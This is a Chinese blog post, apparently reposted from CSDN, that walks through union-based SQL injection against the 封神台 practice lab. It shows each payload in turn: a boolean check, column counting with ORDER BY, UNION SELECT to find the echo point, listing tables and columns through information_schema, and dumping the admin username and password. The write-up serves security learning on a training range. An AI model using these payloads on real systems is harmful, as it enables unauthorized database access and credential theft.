码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • sql注入


    文章目录

      • 一、封神台一
        • 1、判断是否存在sql注入漏洞
        • 2、判断字段数
        • 3、判断回显点

    一、封神台一

    1、判断是否存在sql注入漏洞

    1、构造?id=1 and 1=1
    在这里插入图片描述
    发现页面正常显示

    2、构造?id=1 and 1=2
    在这里插入图片描述
    发现页面显示错误

    2、判断字段数

    1.构造?id=1 and 1=1 order by 1
    在这里插入图片描述
    页面正常显示

    2.构造?id=1 and 1=1 order by 2
    页面正常显示

    3.构造?id=1 and 1=1 order by 3
    页面显示错误
    由此可以判断出字段数为2

    3、判断回显点

    1.构造?id=1 and 1=2 union select 1,2
    在这里插入图片描述
    发现的第二个字段处为显示位(可以理解为从数据库提取的数据被显示在前端)
    可以在第二个字段处显示我们想要的内容

    database()    数据库名
    user()    数据库用户名
    version()  显示mysql版本
    @@datadir    数据库路径
    @@version_compile_os     操作系统版本
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.构造?id=1 and 1=2 union select 1,database()
    在这里插入图片描述
    3.构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

    • information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
    • information_schema.tables 存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息
    • information_schema.columns 存储表中的列信息,包括表有多少列、每个列的类型等

    在这里插入图片描述
    查询到当前表名
    4.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1

    • table_schema 是数据库的名称
    • table_name 是具体的表名
    • table_type 表的类型
    • column_name 是表中列名

    在这里插入图片描述
    5.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1
    在这里插入图片描述
    6.构造?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1
    在这里插入图片描述
    经过对表中字段的查询发现,该admin表有三个字段,id、username、password
    7.构造?id=1 and 1=2 union select 1,username from admin limit 0,1
    在这里插入图片描述
    发现有一个admin用户,在通过limit 1,1查询第二用户为空,则只有一个用户
    7.构造?id=1 and 1=2 union select 1,password from admin
    在这里插入图片描述
    查询到密码

  • 相关阅读:
    音频基础模型LTU(Listen, Think, and Understand)
    鹅长微服务发现与治理巨作PolarisMesh实践-上
    YOLOv5的Tricks | 【Trick11】在线模型训练可视化工具wandb(Weights & Biases)
    求阶乘n!
    【嵌入式硬件】快衰减和慢衰减
    前端Vue入门-day08-vant组件库
    Linux 命令(11)—— tcpdump
    【单片机毕业设计】【mcuclub-hj-013】基于单片机的大棚环境检测的设计
    测试面试 | 某 BAT 大厂测试开发面试真题与重点解析
    只需要高中数学知识就可以入门计算机图形学啦
  • 原文地址:https://blog.csdn.net/qq_52108058/article/details/127660904
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号